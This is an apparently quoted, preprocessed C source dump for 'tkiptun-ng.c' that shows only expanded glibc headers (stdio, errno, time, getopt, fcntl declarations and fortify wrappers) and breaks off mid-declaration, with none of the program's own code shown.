*fmemopen (void *__s, size_t __len, __const char *__modes) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); > > > > >extern FILE *open_memstream (char **__bufloc, size_t *__sizeloc) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); > > > > > > >extern void setbuf (FILE *__restrict __stream, char *__restrict __buf) __attribute__ ((__nothrow__ , __leaf__)); > > > >extern int setvbuf (FILE *__restrict __stream, char *__restrict __buf, > int __modes, size_t __n) __attribute__ ((__nothrow__ , __leaf__)); > > > > > >extern void setbuffer (FILE *__restrict __stream, char *__restrict __buf, > size_t __size) __attribute__ ((__nothrow__ , __leaf__)); > > >extern void setlinebuf (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)); > > > > > > > > >extern int fprintf (FILE *__restrict __stream, > __const char *__restrict __format, ...); > > > > >extern int printf (__const char *__restrict __format, ...); > >extern int sprintf (char *__restrict __s, > __const char *__restrict __format, ...) __attribute__ ((__nothrow__)); > > > > > >extern int vfprintf (FILE *__restrict __s, __const char *__restrict __format, > __gnuc_va_list __arg); > > > > >extern int vprintf (__const char *__restrict __format, __gnuc_va_list __arg); > >extern int vsprintf (char *__restrict __s, __const char *__restrict __format, > __gnuc_va_list __arg) __attribute__ ((__nothrow__)); > > > > > >extern int snprintf (char *__restrict __s, size_t __maxlen, > __const char *__restrict __format, ...) > __attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 4))); > >extern int vsnprintf (char *__restrict __s, size_t __maxlen, > __const char *__restrict __format, __gnuc_va_list __arg) > __attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 0))); > ># 418 "/usr/include/stdio.h" 3 4 >extern int vdprintf (int __fd, __const char *__restrict __fmt, > __gnuc_va_list __arg) > __attribute__ ((__format__ (__printf__, 2, 0))); >extern int dprintf (int __fd, __const char *__restrict __fmt, ...) > __attribute__ ((__format__ (__printf__, 2, 3))); > > > > > > > > >extern int fscanf (FILE *__restrict __stream, > __const char *__restrict __format, ...) __attribute__ ((__warn_unused_result__)); > > > > >extern int scanf (__const char *__restrict __format, ...) __attribute__ ((__warn_unused_result__)); > >extern int sscanf (__const char *__restrict __s, > __const char *__restrict __format, ...) __attribute__ ((__nothrow__ , __leaf__)); ># 449 "/usr/include/stdio.h" 3 4 >extern int fscanf (FILE *__restrict __stream, __const char *__restrict __format, ...) __asm__ ("" "__isoc99_fscanf") > > __attribute__ ((__warn_unused_result__)); >extern int scanf (__const char *__restrict __format, ...) __asm__ ("" "__isoc99_scanf") > __attribute__ ((__warn_unused_result__)); >extern int sscanf (__const char *__restrict __s, __const char *__restrict __format, ...) __asm__ ("" "__isoc99_sscanf") __attribute__ ((__nothrow__ , __leaf__)) > > ; ># 469 "/usr/include/stdio.h" 3 4 > > > > > > > > >extern int vfscanf (FILE *__restrict __s, __const char *__restrict __format, > __gnuc_va_list __arg) > __attribute__ ((__format__ (__scanf__, 2, 0))) __attribute__ ((__warn_unused_result__)); > > > > > >extern int vscanf (__const char *__restrict __format, __gnuc_va_list __arg) > __attribute__ ((__format__ (__scanf__, 1, 0))) __attribute__ ((__warn_unused_result__)); > > >extern int vsscanf (__const char *__restrict __s, > __const char *__restrict __format, __gnuc_va_list __arg) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__format__ (__scanf__, 2, 0))); ># 500 "/usr/include/stdio.h" 3 4 >extern int vfscanf (FILE *__restrict __s, __const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vfscanf") > > > > __attribute__ ((__format__ (__scanf__, 2, 0))) __attribute__ ((__warn_unused_result__)); >extern int vscanf (__const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vscanf") > > __attribute__ ((__format__ (__scanf__, 1, 0))) __attribute__ ((__warn_unused_result__)); >extern int vsscanf (__const char *__restrict __s, __const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vsscanf") __attribute__ ((__nothrow__ , __leaf__)) > > > > __attribute__ ((__format__ (__scanf__, 2, 0))); ># 528 "/usr/include/stdio.h" 3 4 > > > > > > > > > >extern int fgetc (FILE *__stream); >extern int getc (FILE *__stream); > > > > > >extern int getchar (void); > ># 556 "/usr/include/stdio.h" 3 4 >extern int getc_unlocked (FILE *__stream); >extern int getchar_unlocked (void); ># 567 "/usr/include/stdio.h" 3 4 >extern int fgetc_unlocked (FILE *__stream); > > > > > > > > > > > >extern int fputc (int __c, FILE *__stream); >extern int putc (int __c, FILE *__stream); > > > > > >extern int putchar (int __c); > ># 600 "/usr/include/stdio.h" 3 4 >extern int fputc_unlocked (int __c, FILE *__stream); > > > > > > > >extern int putc_unlocked (int __c, FILE *__stream); >extern int putchar_unlocked (int __c); > > > > > > >extern int getw (FILE *__stream); > > >extern int putw (int __w, FILE *__stream); > > > > > > > > >extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream) > __attribute__ ((__warn_unused_result__)); > > > > > > >extern char *gets (char *__s) __attribute__ ((__warn_unused_result__)); > ># 662 "/usr/include/stdio.h" 3 4 >extern __ssize_t __getdelim (char **__restrict __lineptr, > size_t *__restrict __n, int __delimiter, > FILE *__restrict __stream) __attribute__ ((__warn_unused_result__)); >extern __ssize_t getdelim (char **__restrict __lineptr, > size_t *__restrict __n, int __delimiter, > FILE *__restrict __stream) __attribute__ ((__warn_unused_result__)); > > > > > > > >extern __ssize_t getline (char **__restrict __lineptr, > size_t *__restrict __n, > FILE *__restrict __stream) __attribute__ ((__warn_unused_result__)); > > > > > > > > >extern int fputs (__const char *__restrict __s, FILE *__restrict __stream); > > > > > >extern int puts (__const char *__s); > > > > > > >extern int ungetc (int __c, FILE *__stream); > > > > > > >extern size_t fread (void *__restrict __ptr, size_t __size, > size_t __n, FILE *__restrict __stream) __attribute__ ((__warn_unused_result__)); > > > > >extern size_t fwrite (__const void *__restrict __ptr, size_t __size, > size_t __n, FILE *__restrict __s) __attribute__ ((__warn_unused_result__)); > ># 734 "/usr/include/stdio.h" 3 4 >extern size_t fread_unlocked (void *__restrict __ptr, size_t __size, > size_t __n, FILE *__restrict __stream) __attribute__ ((__warn_unused_result__)); >extern size_t fwrite_unlocked (__const void *__restrict __ptr, size_t __size, > size_t __n, FILE *__restrict __stream) __attribute__ ((__warn_unused_result__)); > > > > > > > > >extern int fseek (FILE *__stream, long int __off, int __whence); > > > > >extern long int ftell (FILE *__stream) __attribute__ ((__warn_unused_result__)); > > > > >extern void rewind (FILE *__stream); > ># 778 "/usr/include/stdio.h" 3 4 >extern int fseeko (FILE *__stream, __off64_t __off, int __whence) __asm__ ("" "fseeko64") > > ; >extern __off64_t ftello (FILE *__stream) __asm__ ("" "ftello64"); > > > > > > > > ># 803 "/usr/include/stdio.h" 3 4 >extern int fgetpos (FILE *__restrict __stream, fpos_t *__restrict __pos) __asm__ ("" "fgetpos64") > ; >extern int fsetpos (FILE *__stream, __const fpos_t *__pos) __asm__ ("" "fsetpos64") > ; > > > > > > ># 821 "/usr/include/stdio.h" 3 4 > > >extern void clearerr (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)); > >extern int feof (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); > >extern int ferror (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); > > > > >extern void clearerr_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)); >extern int feof_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); >extern int ferror_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); > > > > > > > > >extern void perror (__const char *__s); > > > > > > ># 1 "/usr/include/bits/sys_errlist.h" 1 3 4 ># 27 "/usr/include/bits/sys_errlist.h" 3 4 >extern int sys_nerr; >extern __const char *__const sys_errlist[]; ># 851 "/usr/include/stdio.h" 2 3 4 > > > > >extern int fileno (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); > > > > >extern int fileno_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); ># 870 "/usr/include/stdio.h" 3 4 >extern FILE *popen (__const char *__command, __const char *__modes) __attribute__ ((__warn_unused_result__)); > > > > > >extern int pclose (FILE *__stream); > > > > > >extern char *ctermid (char *__s) __attribute__ ((__nothrow__ , __leaf__)); ># 910 "/usr/include/stdio.h" 3 4 >extern void flockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)); > > > >extern int ftrylockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); > > >extern void funlockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)); ># 931 "/usr/include/stdio.h" 3 4 ># 1 "/usr/include/bits/stdio.h" 1 3 4 ># 44 "/usr/include/bits/stdio.h" 3 4 >extern __inline int >getchar (void) >{ > return _IO_getc (stdin); >} > > > > >extern __inline int >fgetc_unlocked (FILE *__fp) >{ > return (__builtin_expect (((__fp)->_IO_read_ptr >= (__fp)->_IO_read_end), 0) ? __uflow (__fp) : *(unsigned char *) (__fp)->_IO_read_ptr++); >} > > > > > >extern __inline int >getc_unlocked (FILE *__fp) >{ > return (__builtin_expect (((__fp)->_IO_read_ptr >= (__fp)->_IO_read_end), 0) ? __uflow (__fp) : *(unsigned char *) (__fp)->_IO_read_ptr++); >} > > >extern __inline int >getchar_unlocked (void) >{ > return (__builtin_expect (((stdin)->_IO_read_ptr >= (stdin)->_IO_read_end), 0) ? __uflow (stdin) : *(unsigned char *) (stdin)->_IO_read_ptr++); >} > > > > >extern __inline int >putchar (int __c) >{ > return _IO_putc (__c, stdout); >} > > > > >extern __inline int >fputc_unlocked (int __c, FILE *__stream) >{ > return (__builtin_expect (((__stream)->_IO_write_ptr >= (__stream)->_IO_write_end), 0) ? __overflow (__stream, (unsigned char) (__c)) : (unsigned char) (*(__stream)->_IO_write_ptr++ = (__c))); >} > > > > > >extern __inline int >putc_unlocked (int __c, FILE *__stream) >{ > return (__builtin_expect (((__stream)->_IO_write_ptr >= (__stream)->_IO_write_end), 0) ? __overflow (__stream, (unsigned char) (__c)) : (unsigned char) (*(__stream)->_IO_write_ptr++ = (__c))); >} > > >extern __inline int >putchar_unlocked (int __c) >{ > return (__builtin_expect (((stdout)->_IO_write_ptr >= (stdout)->_IO_write_end), 0) ? __overflow (stdout, (unsigned char) (__c)) : (unsigned char) (*(stdout)->_IO_write_ptr++ = (__c))); >} ># 125 "/usr/include/bits/stdio.h" 3 4 >extern __inline int >__attribute__ ((__nothrow__ , __leaf__)) feof_unlocked (FILE *__stream) >{ > return (((__stream)->_flags & 0x10) != 0); >} > > >extern __inline int >__attribute__ ((__nothrow__ , __leaf__)) ferror_unlocked (FILE *__stream) >{ > return (((__stream)->_flags & 0x20) != 0); >} ># 932 "/usr/include/stdio.h" 2 3 4 > > ># 1 "/usr/include/bits/stdio2.h" 1 3 4 ># 24 "/usr/include/bits/stdio2.h" 3 4 >extern int __sprintf_chk (char *__restrict __s, int __flag, size_t __slen, > __const char *__restrict __format, ...) __attribute__ ((__nothrow__ , __leaf__)); >extern int __vsprintf_chk (char *__restrict __s, int __flag, size_t __slen, > __const char *__restrict __format, > __gnuc_va_list __ap) __attribute__ ((__nothrow__ , __leaf__)); > > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int >__attribute__ ((__nothrow__ , __leaf__)) sprintf (char *__restrict __s, __const char *__restrict __fmt, ...) >{ > return __builtin___sprintf_chk (__s, 2 - 1, > __builtin_object_size (__s, 2 > 1), __fmt, __builtin_va_arg_pack ()); >} > > > > > > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int >__attribute__ ((__nothrow__ , __leaf__)) vsprintf (char *__restrict __s, __const char *__restrict __fmt, __gnuc_va_list __ap) > >{ > return __builtin___vsprintf_chk (__s, 2 - 1, > __builtin_object_size (__s, 2 > 1), __fmt, __ap); >} > > > >extern int __snprintf_chk (char *__restrict __s, size_t __n, int __flag, > size_t __slen, __const char *__restrict __format, > ...) __attribute__ ((__nothrow__ , __leaf__)); >extern int __vsnprintf_chk (char *__restrict __s, size_t __n, int __flag, > size_t __slen, __const char *__restrict __format, > __gnuc_va_list __ap) __attribute__ ((__nothrow__ , __leaf__)); > > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int >__attribute__ ((__nothrow__ , __leaf__)) snprintf (char *__restrict __s, size_t __n, __const char *__restrict __fmt, ...) > >{ > return __builtin___snprintf_chk (__s, __n, 2 - 1, > __builtin_object_size (__s, 2 > 1), __fmt, __builtin_va_arg_pack ()); >} > > > > > > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int >__attribute__ ((__nothrow__ , __leaf__)) vsnprintf (char *__restrict __s, size_t __n, __const char *__restrict __fmt, __gnuc_va_list __ap) > >{ > return __builtin___vsnprintf_chk (__s, __n, 2 - 1, > __builtin_object_size (__s, 2 > 1), __fmt, __ap); >} > > > > > >extern int __fprintf_chk (FILE *__restrict __stream, int __flag, > __const char *__restrict __format, ...); >extern int __printf_chk (int __flag, __const char *__restrict __format, ...); >extern int __vfprintf_chk (FILE *__restrict __stream, int __flag, > __const char *__restrict __format, __gnuc_va_list __ap); >extern int __vprintf_chk (int __flag, __const char *__restrict __format, > __gnuc_va_list __ap); > > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int >fprintf (FILE *__restrict __stream, __const char *__restrict __fmt, ...) >{ > return __fprintf_chk (__stream, 2 - 1, __fmt, > __builtin_va_arg_pack ()); >} > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int >printf (__const char *__restrict __fmt, ...) >{ > return __printf_chk (2 - 1, __fmt, __builtin_va_arg_pack ()); >} > > > > > > > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int >vprintf (__const char *__restrict __fmt, __gnuc_va_list __ap) >{ > > return __vfprintf_chk (stdout, 2 - 1, __fmt, __ap); > > > >} > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int >vfprintf (FILE *__restrict __stream, > __const char *__restrict __fmt, __gnuc_va_list __ap) >{ > return __vfprintf_chk (__stream, 2 - 1, __fmt, __ap); >} ># 220 "/usr/include/bits/stdio2.h" 3 4 >extern char *__gets_chk (char *__str, size_t) __attribute__ ((__warn_unused_result__)); >extern char *__gets_warn (char *__str) __asm__ ("" "gets") > __attribute__ ((__warn_unused_result__)) __attribute__((__warning__ ("please use fgets or getline instead, gets can't " "specify buffer size"))) > ; > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) __attribute__ ((__warn_unused_result__)) char * >gets (char *__str) >{ > if (__builtin_object_size (__str, 2 > 1) != (size_t) -1) > return __gets_chk (__str, __builtin_object_size (__str, 2 > 1)); > return __gets_warn (__str); >} > >extern char *__fgets_chk (char *__restrict __s, size_t __size, int __n, > FILE *__restrict __stream) __attribute__ ((__warn_unused_result__)); >extern char *__fgets_alias (char *__restrict __s, int __n, FILE *__restrict __stream) __asm__ ("" "fgets") > > __attribute__ ((__warn_unused_result__)); >extern char *__fgets_chk_warn (char *__restrict __s, size_t __size, int __n, FILE *__restrict __stream) __asm__ ("" "__fgets_chk") > > > __attribute__ ((__warn_unused_result__)) __attribute__((__warning__ ("fgets called with bigger size than length " "of destination buffer"))) > ; > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) __attribute__ ((__warn_unused_result__)) char * >fgets (char *__restrict __s, int __n, FILE *__restrict __stream) >{ > if (__builtin_object_size (__s, 2 > 1) != (size_t) -1) > { > if (!__builtin_constant_p (__n) || __n <= 0) > return __fgets_chk (__s, __builtin_object_size (__s, 2 > 1), __n, __stream); > > if ((size_t) __n > __builtin_object_size (__s, 2 > 1)) > return __fgets_chk_warn (__s, __builtin_object_size (__s, 2 > 1), __n, __stream); > } > return __fgets_alias (__s, __n, __stream); >} > >extern size_t __fread_chk (void *__restrict __ptr, size_t __ptrlen, > size_t __size, size_t __n, > FILE *__restrict __stream) __attribute__ ((__warn_unused_result__)); >extern size_t __fread_alias (void *__restrict __ptr, size_t __size, size_t __n, FILE *__restrict __stream) __asm__ ("" "fread") > > > __attribute__ ((__warn_unused_result__)); >extern size_t __fread_chk_warn (void *__restrict __ptr, size_t __ptrlen, size_t __size, size_t __n, FILE *__restrict __stream) __asm__ ("" "__fread_chk") > > > > > __attribute__ ((__warn_unused_result__)) __attribute__((__warning__ ("fread called with bigger size * nmemb than length " "of destination buffer"))) > ; > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) __attribute__ ((__warn_unused_result__)) size_t >fread (void *__restrict __ptr, size_t __size, size_t __n, > FILE *__restrict __stream) >{ > if (__builtin_object_size (__ptr, 0) != (size_t) -1) > { > if (!__builtin_constant_p (__size) > || !__builtin_constant_p (__n) > || (__size | __n) >= (((size_t) 1) << (8 * sizeof (size_t) / 2))) > return __fread_chk (__ptr, __builtin_object_size (__ptr, 0), __size, __n, __stream); > > if (__size * __n > __builtin_object_size (__ptr, 0)) > return __fread_chk_warn (__ptr, __builtin_object_size (__ptr, 0), __size, __n, __stream); > } > return __fread_alias (__ptr, __size, __n, __stream); >} ># 319 "/usr/include/bits/stdio2.h" 3 4 >extern size_t __fread_unlocked_chk (void *__restrict __ptr, size_t __ptrlen, > size_t __size, size_t __n, > FILE *__restrict __stream) __attribute__ ((__warn_unused_result__)); >extern size_t __fread_unlocked_alias (void *__restrict __ptr, size_t __size, size_t __n, FILE *__restrict __stream) __asm__ ("" "fread_unlocked") > > > __attribute__ ((__warn_unused_result__)); >extern size_t __fread_unlocked_chk_warn (void *__restrict __ptr, size_t __ptrlen, size_t __size, size_t __n, FILE *__restrict __stream) __asm__ ("" "__fread_unlocked_chk") > > > > > __attribute__ ((__warn_unused_result__)) __attribute__((__warning__ ("fread_unlocked called with bigger size * nmemb than " "length of destination buffer"))) > ; > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) __attribute__ ((__warn_unused_result__)) size_t >fread_unlocked (void *__restrict __ptr, size_t __size, size_t __n, > FILE *__restrict __stream) >{ > if (__builtin_object_size (__ptr, 0) != (size_t) -1) > { > if (!__builtin_constant_p (__size) > || !__builtin_constant_p (__n) > || (__size | __n) >= (((size_t) 1) << (8 * sizeof (size_t) / 2))) > return __fread_unlocked_chk (__ptr, __builtin_object_size (__ptr, 0), __size, __n, > __stream); > > if (__size * __n > __builtin_object_size (__ptr, 0)) > return __fread_unlocked_chk_warn (__ptr, __builtin_object_size (__ptr, 0), __size, __n, > __stream); > } > > > if (__builtin_constant_p (__size) > && __builtin_constant_p (__n) > && (__size | __n) < (((size_t) 1) << (8 * sizeof (size_t) / 2)) > && __size * __n <= 8) > { > size_t __cnt = __size * __n; > char *__cptr = (char *) __ptr; > if (__cnt == 0) > return 0; > > for (; __cnt > 0; --__cnt) > { > int __c = (__builtin_expect (((__stream)->_IO_read_ptr >= (__stream)->_IO_read_end), 0) ? __uflow (__stream) : *(unsigned char *) (__stream)->_IO_read_ptr++); > if (__c == (-1)) > break; > *__cptr++ = __c; > } > return (__cptr - (char *) __ptr) / __size; > } > > return __fread_unlocked_alias (__ptr, __size, __n, __stream); >} ># 935 "/usr/include/stdio.h" 2 3 4 > > > > > > ># 55 "tkiptun-ng.c" 2 ># 1 "/usr/include/errno.h" 1 3 4 ># 32 "/usr/include/errno.h" 3 4 > > > > ># 1 "/usr/include/bits/errno.h" 1 3 4 ># 25 "/usr/include/bits/errno.h" 3 4 ># 1 "/usr/include/linux/errno.h" 1 3 4 ># 1 "/usr/include/asm/errno.h" 1 3 4 ># 1 "/usr/include/asm-generic/errno.h" 1 3 4 > > > ># 1 "/usr/include/asm-generic/errno-base.h" 1 3 4 ># 5 "/usr/include/asm-generic/errno.h" 2 3 4 ># 1 "/usr/include/asm/errno.h" 2 3 4 ># 1 "/usr/include/linux/errno.h" 2 3 4 ># 26 "/usr/include/bits/errno.h" 2 3 4 ># 47 "/usr/include/bits/errno.h" 3 4 >extern int *__errno_location (void) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); ># 37 "/usr/include/errno.h" 2 3 4 ># 59 "/usr/include/errno.h" 3 4 > ># 56 "tkiptun-ng.c" 2 ># 1 "/usr/include/time.h" 1 3 4 ># 30 "/usr/include/time.h" 3 4 > > > > > > > > ># 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4 ># 39 "/usr/include/time.h" 2 3 4 > > > ># 1 "/usr/include/bits/time.h" 1 3 4 ># 43 "/usr/include/time.h" 2 3 4 ># 131 "/usr/include/time.h" 3 4 > > >struct tm >{ > int tm_sec; > int tm_min; > int tm_hour; > int tm_mday; > int tm_mon; > int tm_year; > int tm_wday; > int tm_yday; > int tm_isdst; > > > long int tm_gmtoff; > __const char *tm_zone; > > > > >}; > > > > > > > > >struct itimerspec > { > struct timespec it_interval; > struct timespec it_value; > }; > > >struct sigevent; ># 180 "/usr/include/time.h" 3 4 > > > >extern clock_t clock (void) __attribute__ ((__nothrow__ , __leaf__)); > > >extern time_t time (time_t *__timer) __attribute__ ((__nothrow__ , __leaf__)); > > >extern double difftime (time_t __time1, time_t __time0) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); > > >extern time_t mktime (struct tm *__tp) __attribute__ ((__nothrow__ , __leaf__)); > > > > > >extern size_t strftime (char *__restrict __s, size_t __maxsize, > __const char *__restrict __format, > __const struct tm *__restrict __tp) __attribute__ ((__nothrow__ , __leaf__)); > ># 217 "/usr/include/time.h" 3 4 >extern size_t strftime_l (char *__restrict __s, size_t __maxsize, > __const char *__restrict __format, > __const struct tm *__restrict __tp, > __locale_t __loc) __attribute__ ((__nothrow__ , __leaf__)); ># 230 "/usr/include/time.h" 3 4 > > > >extern struct tm *gmtime (__const time_t *__timer) __attribute__ ((__nothrow__ , __leaf__)); > > > >extern struct tm *localtime (__const time_t *__timer) __attribute__ ((__nothrow__ , __leaf__)); > > > > > >extern struct tm *gmtime_r (__const time_t *__restrict __timer, > struct tm *__restrict __tp) __attribute__ ((__nothrow__ , __leaf__)); > > > >extern struct tm *localtime_r (__const time_t *__restrict __timer, > struct tm *__restrict __tp) __attribute__ ((__nothrow__ , __leaf__)); > > > > > >extern char *asctime (__const struct tm *__tp) __attribute__ ((__nothrow__ , __leaf__)); > > >extern char *ctime (__const time_t *__timer) __attribute__ ((__nothrow__ , __leaf__)); > > > > > > > >extern char *asctime_r (__const struct tm *__restrict __tp, > char *__restrict __buf) __attribute__ ((__nothrow__ , __leaf__)); > > >extern char *ctime_r (__const time_t *__restrict __timer, > char *__restrict __buf) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern char *__tzname[2]; >extern int __daylight; >extern long int __timezone; > > > > >extern char *tzname[2]; > > > >extern void tzset (void) __attribute__ ((__nothrow__ , __leaf__)); > > > >extern int daylight; >extern long int timezone; > > > > > >extern int stime (__const time_t *__when) __attribute__ ((__nothrow__ , __leaf__)); ># 313 "/usr/include/time.h" 3 4 >extern time_t timegm (struct tm *__tp) __attribute__ ((__nothrow__ , __leaf__)); > > >extern time_t timelocal (struct tm *__tp) __attribute__ ((__nothrow__ , __leaf__)); > > >extern int dysize (int __year) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); ># 328 "/usr/include/time.h" 3 4 >extern int nanosleep (__const struct timespec *__requested_time, > struct timespec *__remaining); > > > >extern int clock_getres (clockid_t __clock_id, struct timespec *__res) __attribute__ ((__nothrow__ , __leaf__)); > > >extern int clock_gettime (clockid_t __clock_id, struct timespec *__tp) __attribute__ ((__nothrow__ , __leaf__)); > > >extern int clock_settime (clockid_t __clock_id, __const struct timespec *__tp) > __attribute__ ((__nothrow__ , __leaf__)); > > > > > > >extern int clock_nanosleep (clockid_t __clock_id, int __flags, > __const struct timespec *__req, > struct timespec *__rem); > > >extern int clock_getcpuclockid (pid_t __pid, clockid_t *__clock_id) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern int timer_create (clockid_t __clock_id, > struct sigevent *__restrict __evp, > timer_t *__restrict __timerid) __attribute__ ((__nothrow__ , __leaf__)); > > >extern int timer_delete (timer_t __timerid) __attribute__ ((__nothrow__ , __leaf__)); > > >extern int timer_settime (timer_t __timerid, int __flags, > __const struct itimerspec *__restrict __value, > struct itimerspec *__restrict __ovalue) __attribute__ ((__nothrow__ , __leaf__)); > > >extern int timer_gettime (timer_t __timerid, struct itimerspec *__value) > __attribute__ ((__nothrow__ , __leaf__)); > > >extern int timer_getoverrun (timer_t __timerid) __attribute__ ((__nothrow__ , __leaf__)); ># 417 "/usr/include/time.h" 3 4 > ># 57 "tkiptun-ng.c" 2 ># 1 "/usr/include/getopt.h" 1 3 4 ># 59 "/usr/include/getopt.h" 3 4 >extern char *optarg; ># 73 "/usr/include/getopt.h" 3 4 >extern int optind; > > > > >extern int opterr; > > > >extern int optopt; ># 106 "/usr/include/getopt.h" 3 4 >struct option >{ > const char *name; > > > int has_arg; > int *flag; > int val; >}; ># 152 "/usr/include/getopt.h" 3 4 >extern int getopt (int ___argc, char *const *___argv, const char *__shortopts) > __attribute__ ((__nothrow__ , __leaf__)); ># 175 "/usr/include/getopt.h" 3 4 >extern int getopt_long (int ___argc, char *const *___argv, > const char *__shortopts, > const struct option *__longopts, int *__longind) > __attribute__ ((__nothrow__ , __leaf__)); >extern int getopt_long_only (int ___argc, char *const *___argv, > const char *__shortopts, > const struct option *__longopts, int *__longind) > __attribute__ ((__nothrow__ , __leaf__)); ># 58 "tkiptun-ng.c" 2 > ># 1 "/usr/include/fcntl.h" 1 3 4 ># 30 "/usr/include/fcntl.h" 3 4 > > > > ># 1 "/usr/include/bits/fcntl.h" 1 3 4 ># 153 "/usr/include/bits/fcntl.h" 3 4 >struct flock > { > short int l_type; > short int l_whence; > > > > > __off64_t l_start; > __off64_t l_len; > > __pid_t l_pid; > }; ># 251 "/usr/include/bits/fcntl.h" 3 4 > ># 322 "/usr/include/bits/fcntl.h" 3 4 > ># 35 "/usr/include/fcntl.h" 2 3 4 > > > > > > ># 1 "/usr/include/bits/stat.h" 1 3 4 ># 39 "/usr/include/bits/stat.h" 3 4 >struct stat > { > __dev_t st_dev; > unsigned short int __pad1; > > > > __ino_t __st_ino; > > __mode_t st_mode; > __nlink_t st_nlink; > __uid_t st_uid; > __gid_t st_gid; > __dev_t st_rdev; > unsigned short int __pad2; > > > > __off64_t st_size; > > __blksize_t st_blksize; > > > > > __blkcnt64_t st_blocks; ># 73 "/usr/include/bits/stat.h" 3 4 > struct timespec st_atim; > struct timespec st_mtim; > struct timespec st_ctim; ># 91 "/usr/include/bits/stat.h" 3 4 > __ino64_t st_ino; > > }; ># 42 "/usr/include/fcntl.h" 2 3 4 ># 125 "/usr/include/fcntl.h" 3 4 >extern int fcntl (int __fd, int __cmd, ...); ># 137 "/usr/include/fcntl.h" 3 4 >extern int open (__const char *__file, int __oflag, ...) __asm__ ("" "open64") > __attribute__ ((__nonnull__ (1))); ># 162 "/usr/include/fcntl.h" 3 4 >extern int openat (int __fd, __const char *__file, int __oflag, ...) __asm__ ("" "openat64") > __attribute__ ((__nonnull__ (2))); ># 183 "/usr/include/fcntl.h" 3 4 >extern int creat (__const char *__file, __mode_t __mode) __asm__ ("" "creat64") > __attribute__ ((__nonnull__ (1))); ># 230 "/usr/include/fcntl.h" 3 4 >extern int posix_fadvise (int __fd, __off64_t __offset, __off64_t __len, int __advise) __asm__ ("" "posix_fadvise64") __attribute__ ((__nothrow__ , __leaf__)) > > ; ># 251 "/usr/include/fcntl.h" 3 4 >extern int posix_fallocate (int __fd, __off64_t __offset, __off64_t __len) __asm__ ("" "posix_fallocate64") > > ; ># 267 "/usr/include/fcntl.h" 3 4 ># 1 "/usr/include/bits/fcntl2.h" 1 3 4 ># 31 "/usr/include/bits/fcntl2.h" 3 4 >extern int __open_2 (__const char *__path, int __oflag) __asm__ ("" "__open64_2") > __attribute__ ((__nonnull__ (1))); >extern int __open_alias (__const char *__path, int __oflag, ...) __asm__ ("" "open64") > __attribute__ ((__nonnull__ (1))); > >extern void __open_too_many_args (void) __attribute__((__error__ ("open can be called either with 2 or 3 arguments, not more"))) > ; >extern void __open_missing_mode (void) __attribute__((__error__ ("open with O_CREAT in second argument needs 3 arguments"))) > ; > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) int >open (__const char *__path, int __oflag, ...) >{ > if (__builtin_va_arg_pack_len () > 1) > __open_too_many_args (); > > if (__builtin_constant_p (__oflag)) > { > if ((__oflag & 0100) != 0 && __builtin_va_arg_pack_len () < 1) > { > __open_missing_mode (); > return __open_2 (__path, __oflag); > } > return __open_alias (__path, __oflag, __builtin_va_arg_pack ()); > } > > if (__builtin_va_arg_pack_len () < 1) > return __open_2 (__path, __oflag); > > return __open_alias (__path, __oflag, __builtin_va_arg_pack ()); >} ># 105 "/usr/include/bits/fcntl2.h" 3 4 >extern int __openat_2 (int __fd, __const char *__path, int __oflag) __asm__ ("" "__openat64_2") > > __attribute__ ((__nonnull__ (2))); >extern int __openat_alias (int __fd, __const char *__path, int __oflag, ...) __asm__ ("" "openat64") > > __attribute__ ((__nonnull__ (2))); > >extern void __openat_too_many_args (void) __attribute__((__error__ ("openat can be called either with 3 or 4 arguments, not more"))) > ; >extern void __openat_missing_mode (void) __attribute__((__error__ ("openat with O_CREAT in third argument needs 4 arguments"))) > ; > >extern __inline __attribute__ 